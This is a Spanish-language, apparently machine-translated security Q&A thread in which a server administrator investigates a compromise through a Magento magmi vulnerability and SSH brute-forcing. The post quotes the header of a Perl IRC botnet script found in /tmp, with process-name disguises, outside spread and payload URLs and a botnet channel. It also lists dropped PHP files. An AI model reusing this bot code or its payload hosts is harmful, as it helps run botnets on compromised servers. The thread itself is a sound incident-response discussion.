Servidor comprometido con la vulnerabilidad de magento, posible rootkit

2

Estoy experimentando un problema de seguridad con un servidor que sucede que administro. Trataré de citar todos los hechos relevantes lo más brevemente posible. Solicito información adicional y un curso de acción a seguir.

El servidor aloja varios sitios web de volumen relativamente bajo y también otros servicios menores. La mayoría de los sitios son Drupal o Joomla, y parecen estar actualizados tanto como puedo decir. Recientemente, se agregó un sitio Magento solo temporalmente, sobre el que volveré más tarde.

Todo comenzó con la observación de un alto promedio de carga, el uso de la CPU en el servidor. Pronto esto se relacionó con los altos tiempos de respuesta.

La ejecución de un netstat reveló un número inusual y relativamente alto de conexiones de una IP específica de un ISP australiano. La mayoría de estas conexiones estaban relacionadas con los procesos de apache, y muchas otras permanecieron en estado SYN sin un pid relativo.

Al principio pensé que esto era una especie de inundación para Apache, así que decidí prohibir la IP del archivo de configuración de Apache (Denegar desde) y matar todos los procesos relevantes, que parecían funcionar durante un tiempo.

Muy pronto me di cuenta de que experimenté exactamente el mismo problema con otra IP de un ISP holandés. Instalé rápidamente mod_evasive y también prohibí la IP. Esto pareció relajar un poco el problema (CPU hasta el 80%).

Pronto recibí un correo electrónico del proveedor del servidor que indica que se está abusando del servidor y me instó a que examinara los sitios en busca de códigos maliciosos. Inmediatamente hice lo siguiente (hasta ahora, esto está en curso):

  • ps faux , netstat no reveló nada sospechoso
  • chkrootkit , rkhunter , el mismo
  • examiné los archivos de registro de apache comparándolos con las IP conocidas y eso me reveló varios intentos de explotar vulnerabilidades en el sitio de Magento.
  • suspendimos la hsoting web para esa cuenta, eliminamos los archivos.
  • una investigación más a fondo de todos los directorios en los que apache tiene permisos de escritura reveló que había algunos archivos sospechosos.
  • el uso de la CPU se redujo a 0-10%.

Los archivos sospechosos son, bien sospechosos. Había un archivo en particular / tmp/ask que parecía:

#!/usr/bin/perl
#
###############################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
#                                                               
#                                 
###############################################


use IO::Socket::INET;
#use HTTP::Request;
#use LWP::UserAgent;
##################################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]"); 
$processo = $ps[rand scalar @ps]; 
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.utama-audio.com/ipays/allnet/id.txt?";
my $spread="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my $spreads="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my @adms=("AR_GA");
my @canais="#botnet";
# etc etc

Había otro directorio llamado /tmp/.X11-unix que, por supuesto, es irregular ya que no hay una x en el servidor. En el directorio los siguientes archivos:

tmp/.X11-unix/
tmp/.X11-unix/dorks.txt
tmp/.X11-unix/ipays2.php
tmp/.X11-unix/malink.php
tmp/.X11-unix/act.zip
tmp/.X11-unix/inc.zip
tmp/.X11-unix/ipays.phtml
tmp/.X11-unix/ipays.php
tmp/.X11-unix/ipays3.php
tmp/.X11-unix/ext.zip
tmp/.X11-unix/ipays.gif

Después de todo eso, otras investigaciones con netstat, ps, manipulación de archivos ejecutables, debsums, chkrootkit y rkhunter son todas negativas.

Aparte de esta observación muy extraña (detalles legítimos reemplazados con xxx):

wtower@xxx~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:49460      ESTABLISHED 3382/sshd: root [pr
tcp        0     48 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0    848 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: [accepte
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: root [pr
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       

Puede observar que una conexión ssh como root desde 43.229.52.15 (Japón) está cambiando constantemente pids, como root. w no muestra nada. Estoy tan abatido y comprometido.

Posiblemente todos los anteriores no están conectados, pero no tengo idea. Cualquier ayuda es muy apreciada.

    
pregunta Wtower 19.06.2015 - 18:03
fuente

2 respuestas

2

Gracias por todo el apoyo. Estos han sido mis hallazgos después de una investigación exhaustiva:

La propiedad de ambos scripts encontrados en /tmp ha sido el usuario de Apache. El directorio /tmp se puede escribir en Apache. Comparé la fecha de creación con cualquier registro relevante y encontré en los registros de Apache cómo ingresaron en el sistema. Resulta que explotaron la vulnerabilidad magento magmi tres veces.

Aparte de los scripts, la tercera vez había sido agregar algunas páginas que se habían utilizado para intentos de phishing, y de ahí proviene el mayor volumen.

No he encontrado ningún signo de exposición a otras cuentas. Los permisos son bastante estrictos y, por lo que sé, Apache no podría escribir en ningún otro lugar. Tan pronto como eliminé el sitio web, todo volvió a la normalidad.

Con respecto al problema netstat , este ha sido un problema completamente diferente. Fue mi error que no examiné auth.log mejor en primer lugar. Resultó que PasswordAuthentication fue dejado probablemente en alguna otra operación, y esto resultó en un ataque de fuerza bruta en la raíz. El reabastecimiento repetido fue simplemente una conexión establecida para probar una contraseña, pero sin una sesión establecida . El riesgo se mitigó por el hecho de que PermitRootLogin estaba desactivado y la cuenta raíz está bloqueada.

Estos son los enlaces de dos hilos relevantes en los foros de Ubuntu: acerca de los scripts y < a href="http://ubuntuforums.org/showthread.php?t=2283466&p=13308060"> sobre la actividad ssh .

    
respondido por el Wtower 26.06.2015 - 09:57
fuente
2

El curso de acción es limpiar la máquina e instalar todo desde la imagen almacenada o desde cero. Es demasiado difícil confiar en que los has limpiado. Especialmente una vez que el atacante ha obtenido acceso de root.

    
respondido por el Neil Smithline 19.06.2015 - 19:50
fuente

Lea otras preguntas en las etiquetas